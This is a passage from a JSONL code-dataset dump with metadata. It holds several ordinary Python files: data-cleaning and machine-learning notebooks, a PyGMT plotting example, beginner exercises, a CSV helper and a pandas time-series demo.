0.12085322457439823, "lm_q1q2_score": 0.05712532235261649}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.11.1\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# ## Cleaning scraped game data\n#\n# Here we show how to use the data obtained with Scrapy. In order to use it for data analysis and game outcome predictions, we first need to clean the data. \n#\n# Let's start with importing the packages we'll use:\n\nimport pandas as pd # Dataframes\nimport numpy as np # number crunching, matrices and all that\n\n# Let's now import the scraped data and perform a first simple cleaning step:\n# 1. We import the `.csv` file to a pandas data frame.\n# 2. There are games that were scraped multiple times because multiple of the selected top players were involved in them (a game might pop up in our data up to 10 times because of this). As these duplicates would skew the statistics, we remove them via `drop_duplicates`, using the starting time (`timestamp`) and the duration (`duration`) as unique identifiers.\n# 3. We reset the index of the data frame, which can be done explicitly (see commented line) or implicitly when removing duplicates via `ignore_index=True`.\n\ndf = pd.read_csv('../data/raw/games.csv')\ndf.drop_duplicates(subset=['duration', 'timestamp', 'team_1', 'team_2', 'winner'], inplace=True, keep='first', ignore_index=True)\n# df.reset_index(drop=True, inplace=True)\nprint(len(df))\ndf.head()\n\n# As we can see in the print-out of the data frame head above, we now have unique games in `df`, with the columns `duration`, `server`, `summoner_name`, `team_1`, `team_2`, `timestamp` and `winner`. We will usually discard the server, player (summoner) and time information in our analysis.\n#\n# In order to capture the roles of the played champions, which currently is implicitly stored in their order in `team_1` and `team_2`, we create 10 new columns - 5 for the red and blue team each - and store the champions individually:\n\n# These are the roles, in the same order as they are stored in team_1 and team_2.\nroles = ['Top', 'Jng', 'Mid', 'Adc', 'Sup']\n# For both teams...\nfor team_color, team_attr in zip(['B', 'R'], ['team_1', 'team_2']):\n    # ...decompose the column in a data frame of champion names...\n    team = df[team_attr].str.split(',', expand=True)\n    # ...and for all 5 roles, store the role column in the corresponding column of df.\n    for i, role in enumerate(roles):\n        df[f\"{team_color}{role}\"] = team[i]\ndf.drop(columns=['team_1', 'team_2'], inplace=True)\n\n# _Note on performance_: The above splitting of `team_1` and `team_2` is done for the entire data frame \"at once\" as we are using an internal pandas function (`pd.Series.str.split`) and then assign the full columns to the new role columns `BTop`, `BJng`... of `df`.\n#\n# Let's now rewrite the `winner` column to use `'Blue'` and `'Red'` instead of `'Team 1'` and `'Team 2'`, and drop the above mentioned columns of information we do not take into account.\n#\n# We also already can do a first step of data analysis and consider some stats:\n\ndf['winner'] = df.apply(lambda x: 'Blue' if x.winner=='Team 1' else 'Red', axis=1)\ndf.drop(['server', 'summoner_name', 'duration', 'timestamp'],axis=1,inplace=True)\n# Some statistics:\nnum_games = len(df)   # Total number of games\nnum_blue_wins = len(df[df['winner']=='Blue'])     # No of games blue won\nnum_red_wins = len(df[df['winner']=='Red'])      # No of games red won\nassert num_red_wins + num_blue_wins == num_games # Make sure we do not have a bad row without winner or such.\nblue_winrate = num_blue_wins/num_games\nred_winrate = num_red_wins/num_games\nprint(f\"There are {num_games} games recorded, the blue team won {num_blue_wins},\",\n      f\"the red team won {num_red_wins} of these games.\",\n      f\"\\nThis yields win rates of {blue_winrate*100:.2f}% (blue) and {red_winrate*100:.2f}% (red).\")\n\n# ### Looking at the champion stats\n# Now we will prepare a second important data frame using the data above: The statistics per champion.\n# To get the unique champion names, let's use `np.unique` on all role columns in `df`.\n\nBlue = [f'B{role}' for role in roles]\nRed = [f'R{role}' for role in roles]\nchampions = np.unique(df[Blue+Red])\n# cd = pd.DataFrame(champions, columns=['Champion'])\n\n# Now we compute the statistics per champion.\n#\n# In order to speed up the process by using `dict` lookups (which are very fast), we will not do the following steps in the `cd` data frame directly but make use of four separate dictionaries that capture the numbers of games/wins on the blue/red side for each champion. We also memorize the roles that the champions were played in, using a `dict` with `dict`s as values.\n#\n# To actually count the values we are interested in, we iterate over the data frame of games `df` _once_. For each row, we iterate over the roles and add to the counters in `blue_played` and `red_played` for the champions played on the respective side. We also memorize the role that each champion was played in. In order to count the wins on either side, we make use of python's automatic type casting and add the boolean `winner_is_blue`/`winner_is_red` to the counters in `blue_won` and `red_won`.\n\n# +\nblue_played = {champ: 0 for champ in champions}\nblue_won = {champ: 0 for champ in champions}\nred_played = {champ: 0 for champ in champions}\nred_won = {champ: 0 for champ in champions}\nroles_played = {champ: {role: 0 for role in roles} for champ in champions}\n\nfor _, row in df.iterrows():\n    winner_is_blue = row.winner=='Blue'\n    winner_is_red = not winner_is_blue\n    for blue_role in Blue:\n        champ = row[blue_role]\n        blue_played[champ] += 1\n        blue_won[champ] += winner_is_blue\n        # Strip the \"B\"/\"R\" from blue_role to get the role\n        roles_played[champ][blue_role[1:]] += 1\n    for red_role in Red:\n        champ = row[red_role]\n        red_played[champ] += 1\n        red_won[champ] += winner_is_red\n        roles_played[champ][red_role[1:]] += 1\n# -\n\n# Before storing everything in a data frame, let's figure out which were the most played roles per champion. For this, we iterate over the champions and sort the roles by their occurences for each champion. The `number_of_roles_to_record` most played roles and their counters are then stored in individual lists and linked to keys, for example `\"Role1\"` and `\"#Role1\"`, in a dictionary:\n\n# +\nnumber_of_roles_to_record = 2 # We use 2 roles, could use up to all 5\nordered_roles_played = [[] for _ in range(number_of_roles_to_record)]\nnumbers_roles_played = [[] for _ in range(number_of_roles_to_record)]\nfor i, champ in enumerate(champions):\n    # This is a list of tuples (role, #plays in the role):\n    roles_for_this_champ = list(roles_played[champ].items()) \n    # sort by number of plays, in descending order (reverse=True)\n    sorted_roles_for_this_champ = sorted(roles_for_this_champ, key=lambda x: x[1], reverse=True)\n    \n    # Now let's record the sorted tuples as order of most played roles (and their # of plays) \n    for j in range(number_of_roles_to_record):\n        ordered_roles_played[j].append(sorted_roles_for_this_champ[j][0]) # Record the role\n        numbers_roles_played[j].append(sorted_roles_for_this_champ[j][1]) # Record the # of plays\n        \nmost_played_roles = {f\"Role{j+1}\": ordered_roles_played[j] for j in range(number_of_roles_to_record)}\nmost_played_numbers = {f\"#Role{j+1}\": numbers_roles_played[j] for j in range(number_of_roles_to_record)}\n# -\n\n# Having all statistics sorted out, we can wrap everything up in a data frame. Because of the way we stored the most played roles above, we have a flexible pipeline that will generate the data frame for any number of most-played roles we want to store per champion.\n\ncd = pd.DataFrame({\n    'Champion': champions,\n    'BluePlayed': [blue_played[champ] for champ in champions],\n    'BlueWon': [blue_won[champ] for champ in champions],\n    'RedPlayed': [red_played[champ] for champ in champions],\n    'RedWon': [red_won[champ] for champ in champions],\n    **most_played_roles,\n    **most_played_numbers,\n})\n\n# We conclude the first round of data analysis by computing the total number of games played and the win rate on either side as well as in total, for each champion. For this, the column-wise operations on a data frame are very handy:\n\ncd['TotalPlayed'] = cd['BluePlayed'] + cd['RedPlayed']\ncd['Bluewinrate'] = cd['BlueWon'] / cd['BluePlayed']\ncd['Redwinrate'] = cd['RedWon'] / cd['RedPlayed']\ncd['Totalwinrate'] = (cd['BlueWon'] + cd['RedWon']) / cd['TotalPlayed']\n\n# The resulting data frame looks like this:\n\n# cd\n\n# For other parts of the project we will want to come back to this data. Let's store it in a new `.csv` file.\n\ncd.to_csv('../data/processed/ChampionStatsDemo.csv',index=False)\n\n\n", "meta": {"hexsha": "e636b381b0dec3c6f22c9a38b4d864b42d3f034a", "size": 8841, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/08-__-demo_data_cleaning.py", "max_stars_repo_name": "TechLabs-Aachen-e-V/WiSe20_Team_10_Main", "max_stars_repo_head_hexsha": "1bf1fe4cf5065144a5f6f196004cf5ec16585c83", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "notebooks/08-__-demo_data_cleaning.py", "max_issues_repo_name": "TechLabs-Aachen-e-V/WiSe20_Team_10_Main", "max_issues_repo_head_hexsha": "1bf1fe4cf5065144a5f6f196004cf5ec16585c83", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-01-04T05:58:44.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-04T05:58:44.000Z", "max_forks_repo_path": "notebooks/08-__-demo_data_cleaning.py", "max_forks_repo_name": "TechLabs-Aachen-e-V/WiSe20_Team_10_Main", "max_forks_repo_head_hexsha": "1bf1fe4cf5065144a5f6f196004cf5ec16585c83", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 56.3121019108, "max_line_length": 500, "alphanum_fraction": 0.7190363081, "include": true, "reason": "import numpy", "num_tokens": 2324, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153862, "lm_q2_score": 0.1259227631950178, "lm_q1q2_score": 0.05707598435297763}}
{"text": "r\"\"\"\nLine fronts\n-----------\n\nUsing the :meth:`pygmt.Figure.plot` method you can draw a so-called\n*front* which allows to plot specific symbols distributed along a line\nor curve. Typical use cases are weather fronts, fault lines,\nsubduction zones, and more.\n\nA front can be drawn by passing **f**\\[\u00b1]\\ *gap*\\[/*size*] to the ``style``\nparameter where *gap* defines the distance gap between the symbols and\n*size* the symbol size. If *gap* is negative, it is interpreted to mean\nthe number of symbols along the front instead. If *gap* has a leading +\nthen we use the value exactly as given [Default will start and end each\nline with a symbol, hence the *gap* is adjusted to fit]. If *size* is\nmissing it is set to 30% of the *gap*, except when *gap* is negative\nand *size* is thus required. Append **+l** or **+r** to plot symbols on\nthe left or right side of the front [Default is centered]. Append\n**+**\\ *type* to specify which symbol to plot: **b**\\ ox, **c**\\ ircle,\n**f**\\ ault (default), **s**\\ lip, or **t**\\ riangle. Slip means left-lateral\nor right-lateral strike-slip arrows (centered is not an option). The **+s**\nmodifier optionally accepts the angle used to draw the vector (default is\n20). Alternatively, use **+S** which draws arcuate arrow heads. Append\n**+o**\\ *offset* to offset the first symbol from the beginning of the front\nby that amount (default is 0). The chosen symbol is drawn with the same pen\nas set for the line (i.e., via the ``pen`` parameter). To use an alternate\npen, append **+p**\\ *pen*. To skip the outline, just use **+p** with no\nargument. To make the main front line invisible, add **+i**.\n\n\"\"\"\n\nimport numpy as np\nimport pygmt\n\n# Generate a two-point line for plotting\nx = np.array([1, 4])\ny = np.array([20, 20])\n\nfig = pygmt.Figure()\nfig.basemap(region=[0, 10, 0, 20], projection=\"X15c/15c\", frame='+t\"Line Fronts\"')\n\n# Plot the line using different front styles\nfor frontstyle in [\n    # line with \"faults\" front style, same as +f (default)\n    \"f1c/0.25c\",\n    # line with box front style\n    \"f1c/0.25c+b\",\n    # line with circle front style\n    \"f1c/0.25c+c\",\n    # line with triangle front style\n    \"f1c/0.3c+t\",\n    # line with left-lateral (\"+l\") slip (\"+s\") front style, angle is set to 45\n    # and offset to 2.25 cm\n    \"f5c/1c+l+s45+o2.25c\",\n    # line with \"faults\" front style, symbols are plotted on the left side of\n    # the front\n    \"f1c/0.4c+l\",\n    # line with box front style, symbols are plotted on the left side of the\n    # front\n    \"f1c/0.3c+l+b\",\n    # line with circle front style, symbols are plotted on the right side of\n    # the front\n    \"f1c/0.4c+r+c\",\n    # line with triangle front style, symbols are plotted on the left side of\n    # the front\n    \"f1c/0.3c+l+t\",\n    # line with triangle front style, symbols are plotted on the right side of\n    # the front, use other pen for the outline of the symbol\n    \"f1c/0.4c+r+t+p1.5p,dodgerblue\",\n    # line with triangle front style, symbols are plotted on the right side of\n    # the front and offset is set to 0.3 cm, skip the outline\n    \"f0.5c/0.3c+r+t+o0.3c+p\",\n    # line with triangle front style, symbols are plotted on the right side of\n    # the front and offset is set to 0.3 cm, skip the outline and make the main\n    # front line invisible\n    \"f0.5c/0.3c+r+t+o0.3c+p+i\",\n]:\n    y -= 1  # move the current line down\n    fig.plot(x=x, y=y, pen=\"1.25p\", style=frontstyle, color=\"red3\")\n    fig.text(\n        x=x[-1],\n        y=y[-1],\n        text=frontstyle,\n        font=\"Courier-Bold\",\n        justify=\"ML\",\n        offset=\"0.75c/0c\",\n    )\n\nfig.show()\n", "meta": {"hexsha": "cdf89fe32a6b8527552b6cec2616efca9fbe1b38", "size": 3591, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/gallery/lines/linefronts.py", "max_stars_repo_name": "jbusecke/pygmt", "max_stars_repo_head_hexsha": "9ef6338dbb9bdd4c31dda94da6d4126852a6cd85", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 326, "max_stars_repo_stars_event_min_datetime": "2019-02-13T09:33:39.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T17:24:05.000Z", "max_issues_repo_path": "examples/gallery/lines/linefronts.py", "max_issues_repo_name": "jbusecke/pygmt", "max_issues_repo_head_hexsha": "9ef6338dbb9bdd4c31dda94da6d4126852a6cd85", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1153, "max_issues_repo_issues_event_min_datetime": "2019-01-22T19:14:32.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T22:07:03.000Z", "max_forks_repo_path": "examples/gallery/lines/linefronts.py", "max_forks_repo_name": "jbusecke/pygmt", "max_forks_repo_head_hexsha": "9ef6338dbb9bdd4c31dda94da6d4126852a6cd85", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 160, "max_forks_repo_forks_event_min_datetime": "2019-02-10T15:24:19.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T09:07:41.000Z", "avg_line_length": 39.9, "max_line_length": 82, "alphanum_fraction": 0.6633249791, "include": true, "reason": "import numpy", "num_tokens": 1092, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326183324442865, "lm_q2_score": 0.1259227648351323, "lm_q1q2_score": 0.057075983236379135}}
{"text": "'''Create a random number\nguessing game.'''\n\n# import choice from the\n# numpy.random module.\nfrom numpy.random import choice\n\n# choice function and possible nums\nnumber = choice([1, 2, 3, 4,\n    5, 6, 7, 8, 9])\n# instantiate guess variable\ni = 0\n# if i isn't number\nwhile i != number:\n    # i is the user's guess\n    i = int(input(\"Guess a number between 1 and 9: \"))\n    # break loop if i is the\n    # generated number\n    if i == number:\n        break\n# print \"you win!\" when while\n# loop is broken.\nprint(\"You win!\")", "meta": {"hexsha": "ee969da45de0e3cc28c4e334888336c9184da355", "size": 519, "ext": "py", "lang": "Python", "max_stars_repo_path": "guessing_game.py", "max_stars_repo_name": "Johne-DuChene/python_practice", "max_stars_repo_head_hexsha": "108582743b2e37e4e47fcea7611837f6ef2997e4", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "guessing_game.py", "max_issues_repo_name": "Johne-DuChene/python_practice", "max_issues_repo_head_hexsha": "108582743b2e37e4e47fcea7611837f6ef2997e4", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "guessing_game.py", "max_forks_repo_name": "Johne-DuChene/python_practice", "max_forks_repo_head_hexsha": "108582743b2e37e4e47fcea7611837f6ef2997e4", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.5652173913, "max_line_length": 54, "alphanum_fraction": 0.6416184971, "include": true, "reason": "from numpy", "num_tokens": 156, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.11596072894699293, "lm_q1q2_score": 0.05707449499724495}}
{"text": "import numpy as np\r\n\r\nname = \"jeff bezos\"\r\nx = \"\"\r\nfor i in name.split():\r\n    x += i.capitalize()\r\n    x += \" \"\r\n\r\nprint(x)\r\n\r\n\r\ndef mypow(a, b):\r\n    return a**b\r\n\r\n\r\ndef rect_square(h, w):\r\n    return h*w\r\n\r\n\r\ndef sq_square(a):\r\n    return rect_square(a, a)\r\n\r\n\r\ndef p_delim(rep=10):\r\n    print(\"-\"*rep)\r\n\r\n\r\ndef p_print(val):\r\n    p_delim()\r\n    print(\"value: %.2f\" % val)\r\n    p_delim(20)\r\n\r\n\r\ndef sq_circle(radius):\r\n    return np.pi*radius**2\r\n\r\n\r\ndef add_multy(a, b):\r\n    sum = a + b\r\n    mult = a*b\r\n\r\n    return sum, mult\r\n\r\n\r\ndef empty_funct():\r\n    pass\r\n\r\n\r\ndef cels2far(deg):\r\n    return deg * 1.8 + 32\r\n\r\nhaha = cels2far(231)\r\n", "meta": {"hexsha": "5d8885cb90997c144bd6a0868d1b62082d4066b3", "size": 643, "ext": "py", "lang": "Python", "max_stars_repo_path": "classwork/lesson_functions.py", "max_stars_repo_name": "kvantos/intro_to_python_class", "max_stars_repo_head_hexsha": "cf98490e57903c25e2e9809df4c3d9b8584e6122", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "classwork/lesson_functions.py", "max_issues_repo_name": "kvantos/intro_to_python_class", "max_issues_repo_head_hexsha": "cf98490e57903c25e2e9809df4c3d9b8584e6122", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "classwork/lesson_functions.py", "max_forks_repo_name": "kvantos/intro_to_python_class", "max_forks_repo_head_hexsha": "cf98490e57903c25e2e9809df4c3d9b8584e6122", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 12.1320754717, "max_line_length": 31, "alphanum_fraction": 0.5241057543, "include": true, "reason": "import numpy", "num_tokens": 196, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207955, "lm_q2_score": 0.11596072741941771, "lm_q1q2_score": 0.05707449424539054}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"AI4I 2020 Predictive Maintenance.ipynb\n\nAutomatically generated by Colaboratory.\n\nOriginal file is located at\n    https://colab.research.google.com/drive/1EPhjz5gcUOKs77FVQvbpeJNrON8IpvIb\n\"\"\"\n\n# Commented out IPython magic to ensure Python compatibility.\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nimport seaborn as sns\n\n\"\"\"Data Link: https://archive.ics.uci.edu/ml/datasets/AI4I+2020+Predictive+Maintenance+Dataset\"\"\"\n\ndata = pd.read_csv(\"ai4i2020.csv\")\n\ndata\n\ndata['Machine failure'].unique()\n\ndata['Machine failure'].value_counts()\n\n\"\"\"## It is a class imbalance problem.\n\n# EDA\n\"\"\"\n\ndata.info()\n\n#check missing value\ndata.isna().sum()\n\ndata['Type'].unique()\n\n\"\"\"# How to handle categorical column?\n- One Hot Encoding\n\n# Data Preparation\n\"\"\"\n\ndef data_preparation(df):\n  df = df.copy()\n\n  #drop unnecessary columns\n  df = df.drop([\"UDI\", \"Product ID\", \"TWF\", \"HDF\", \"PWF\", \"OSF\", \"RNF\"], axis=1)\n\n  return df\n\nX = data_preparation(data)\n\nX\n\n\"\"\"# Task\n- To find \"Machine Failure\" if yes then 1 otherwise 0\n\n# How we can do it?\n- Traditional ML library \"Scikit Learn\"\n- PyCaret (low code)\n\n1. SK Learn \n- Pipeline\n- Individual algorithm\n\n# Using PyCaret\n\"\"\"\n\n!pip install pycaret\n\nimport pycaret.classification as pyc\n\ndir(pyc)\n\n\"\"\"- setup initialization, setup()\n- compare_models()\n- create_model()\n- tune_model()\n- predict_model\n-save_model()\n\"\"\"\n\npyc.setup(\n    data = X,\n    target = \"Machine failure\",\n    train_size = 0.8,\n    normalize = True\n)\n\npyc.compare_models()\n\nbest_model = pyc.create_model('lightgbm')\n\nprint(best_model)\n\npyc.evaluate_model(best_model)\n\ntuned_lgbm_model = pyc.tune_model(best_model)\n\npyc.evaluate_model(tuned_lgbm_model)\n\npyc.save_model(best_model, \"machine_failure\")\n\n\"\"\"## Using Sklearn's Pipeline\"\"\"\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler, OneHotEncoder\n# no need to scale the data for tree-based model, only for linear models\nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.pipeline import Pipeline\n\nfrom sklearn.linear_model import LogisticRegression\n\nfrom sklearn.metrics import plot_confusion_matrix, classification_report\n\ndata\n\ndef preprocess_inputs(df):\n  df = df.copy()\n\n  #drop unnecessary columns\n  df = df.drop([\"UDI\", \"Product ID\", \"TWF\", \"HDF\", \"PWF\", \"OSF\", \"RNF\"], axis=1)\n\n  #X(features) and y(target/class/labels)\n  X = df.drop('Machine failure', axis=1)\n  y = df['Machine failure']\n\n  #split\n  X_train, X_test, y_train, y_test = train_test_split(X,y, train_size=0.8, shuffle=True, random_state=1)\n\n  return X_train, X_test, y_train, y_test\n\nX_train, X_test, y_train, y_test = preprocess_inputs(data)\n\nX_train\n\ny_train\n\nprint(len(X_train))\nprint(len(X_test))\nprint(len(y_train))\nprint(len(y_test))\n\n\"\"\"## Benefit of Sklearn pipeline\n- you can pass multiple steps and transformers in one function\n\"\"\"\n\nsingle_transformer = Pipeline(steps=[\n                                     (\"encode\", OneHotEncoder(sparse=False))\n])\n\ncol_transformer = ColumnTransformer(transformers=[\n                                                  (\"colencode\", single_transformer, ['Type'])\n], remainder = 'passthrough')\n\nmodel = Pipeline(steps=[\n                        (\"coltransform\", col_transformer),\n                        (\"scale\", StandardScaler()),\n                        (\"classifier\", LogisticRegression())\n])\n\nclf = model.fit(X_train, y_train)\n\nprint(clf)\n\n\"\"\"# Evaluation\"\"\"\n\nscore = clf.score(X_test, y_test)\nprint(\"Model score is:\", np.round(score*100), \"%\")\n\ny_pred = clf.predict(X_test)\nprint(y_pred)\n\nplot_confusion_matrix(clf, X_test, y_test, labels=clf.classes_)\n\nclr = classification_report(y_test, y_pred, labels=clf.classes_)\nprint(clr)\n\nimport pickle\n\n# save the model to disk\nfilename = 'logreg_model.pkl'\npickle.dump(clf, open(filename, 'wb'))\n\n", "meta": {"hexsha": "61cf82792bf581c23da236ac5739fc2e6aaf3be7", "size": 3851, "ext": "py", "lang": "Python", "max_stars_repo_path": "Ai4i Predictive Maintenance Machine Failure/ai4i_2020_predictive_maintenance.py", "max_stars_repo_name": "AhmedMohsenElgarh/Machine-Learning-Models-Implementation", "max_stars_repo_head_hexsha": "386ee0947e067566a3a8701ee7e13dd0b3c8ac25", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2021-02-16T11:58:55.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-14T02:21:27.000Z", "max_issues_repo_path": "Ai4i Predictive Maintenance Machine Failure/ai4i_2020_predictive_maintenance.py", "max_issues_repo_name": "AhmedMohsenElgarh/Machine-Learning-Models-Implementation", "max_issues_repo_head_hexsha": "386ee0947e067566a3a8701ee7e13dd0b3c8ac25", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Ai4i Predictive Maintenance Machine Failure/ai4i_2020_predictive_maintenance.py", "max_forks_repo_name": "AhmedMohsenElgarh/Machine-Learning-Models-Implementation", "max_forks_repo_head_hexsha": "386ee0947e067566a3a8701ee7e13dd0b3c8ac25", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-04-05T17:53:06.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-30T03:37:03.000Z", "avg_line_length": 20.5935828877, "max_line_length": 104, "alphanum_fraction": 0.7000779018, "include": true, "reason": "import numpy", "num_tokens": 977, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.11596071825396675, "lm_q1q2_score": 0.05707448973426432}}
{"text": "import csv\r\nimport numpy as np\r\n\r\n\r\nclass DataClass:\r\n\r\n    def __init__(self):\r\n        self.data = {\r\n            \"headers\": [],\r\n            \"series\": []\r\n        }\r\n\r\n    def read_data(self,file):\r\n        with open(file, 'r') as dest_f:\r\n            data_iter = csv.reader(dest_f,\r\n                                   delimiter=\",\",\r\n                                   quotechar='\"')\r\n            data = [data for data in data_iter]\r\n            data_np = np.array(data)\r\n\r\n            self.data[\"headers\"] = data_np[:, 0]\r\n            self.data[\"series\"] = data_np[:, 1:].astype(float)\r\n            # self.data[\"series_array\"] = data\r\n\r\n        return self.data\r\n\r\n    def write_data(self, file, data, dim):\r\n        with open(file, 'w', newline=\"\") as dest_f:\r\n            cw = csv.writer(dest_f,\r\n                       delimiter=',',\r\n                       quotechar='\"')\r\n\r\n            if dim==1:\r\n                cw.writerow(data)\r\n            elif dim==2:\r\n                for row in data:\r\n                    cw.writerow(row)\r\n\r\n\r\n\r\n\r\n", "meta": {"hexsha": "40c363f4e47473262bd37c1bea5189e0baeaedf0", "size": 1049, "ext": "py", "lang": "Python", "max_stars_repo_path": "backend/data_class.py", "max_stars_repo_name": "alexp25/d4w_app_lab", "max_stars_repo_head_hexsha": "df40e32f524bba8a726ffe788cfb932b45c32f25", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "backend/data_class.py", "max_issues_repo_name": "alexp25/d4w_app_lab", "max_issues_repo_head_hexsha": "df40e32f524bba8a726ffe788cfb932b45c32f25", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "backend/data_class.py", "max_forks_repo_name": "alexp25/d4w_app_lab", "max_forks_repo_head_hexsha": "df40e32f524bba8a726ffe788cfb932b45c32f25", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.9761904762, "max_line_length": 63, "alphanum_fraction": 0.4184938036, "include": true, "reason": "import numpy", "num_tokens": 210, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.11596071672639166, "lm_q1q2_score": 0.05707448898240999}}
{"text": "# coding=utf-8\r\nimport datetime as dt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nnow = dt.datetime.now()  # \u83b7\u5f97\u5f53\u524d\u65e5\u671f\u548c\u65f6\u95f4\r\nprint(\"Now is {}\".format(now))\r\nyesterday = now - dt.timedelta(1)  # \u901a\u8fc7timedelta\u51fd\u6570\u6267\u884c\u65e5\u671f\u52a0\u51cf\r\nprint(\"Yesterday is {}\".format(yesterday.strftime('%Y-%m-%d')))\r\n\r\npd_day = pd.Timestamp('2019-01-05')  # \u901a\u8fc7pd.Timestamp\u83b7\u5f97\u6307\u5b9a\u65e5\u671f\u7684\u65f6\u95f4\u6233\r\nprint(\"Weekday is {}\".format(pd_day.day_name()))  # \u83b7\u53d6\u5bf9\u5e94\u7684\u661f\u671f\u540d\u79f0\r\nprint(\"Next day is {}\".format(pd_day + pd.Timedelta('1 day')))  # \u901a\u8fc7pd.Timedelta\u51fd\u6570\u6267\u884c\u65e5\u671f\u52a0\u51cf\r\n\r\nthis_year = pd.date_range(dt.datetime(2019, 1, 1),\r\n                          dt.datetime(2019, 12, 31), freq='15D')  # \u83b7\u53d6\u6307\u5b9a\u8303\u56f4\u7684\u65e5\u671f\u5e8f\u5217\uff0c\u53c2\u6570freq\u8868\u793a\u95f4\u9694\u65f6\u95f4\uff0c\u8fd9\u91cc\u4e3a15\u5929\r\nprint(\"Selected days in 2019: \\n{}\\n\".format(this_year))  # pandas.date_ranged\u7684\u8fd4\u56de\u503c\u662fDatetimeIndex\u7c7b\u578b\r\n\r\ndf = pd.DataFrame(np.random.randint(0, 100, this_year.size),\r\n                  index=this_year)  # \u7528DatetimeIndex\u4f5c\u7d22\u5f15\u53ef\u4ee5\u76f4\u63a5\u6307\u5b9a\u67d0\u4e2a\u8303\u56f4\u6765\u9009\u62e9\u6570\u636e\r\nprint(\"2019 Jan: \\n{}\\n\".format(df['2019-01']))  # \r\n\r\n# ### \u65f6\u95f4\u65e5\u671f\r\n# http://pandas.pydata.org/pandas-docs/stable/timeseries.html\r\n# \u9664\u4e86datetime, time, calendar\u7b49\u51e0\u4e2a\u6807\u51c6\u6a21\u5757\u5916\uff0cPandas\u63d0\u4f9b\u591a\u4e2a\u51fd\u6570\u7528\u6765\u751f\u6210\u548c\u64cd\u4f5c\u65f6\u95f4\u65e5\u671f\u5e8f\u5217\uff1b\r\n", "meta": {"hexsha": "c40552bcd120dd4d6f855d9bfbd1e80141133b16", "size": 1081, "ext": "py", "lang": "Python", "max_stars_repo_path": "Pandas/Pandas09_TimeSeries.py", "max_stars_repo_name": "anliven/Hello-Data", "max_stars_repo_head_hexsha": "7e0af427dc057257bd8f8d27d1aa4767d6b090cb", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Pandas/Pandas09_TimeSeries.py", "max_issues_repo_name": "anliven/Hello-Data", "max_issues_repo_head_hexsha": 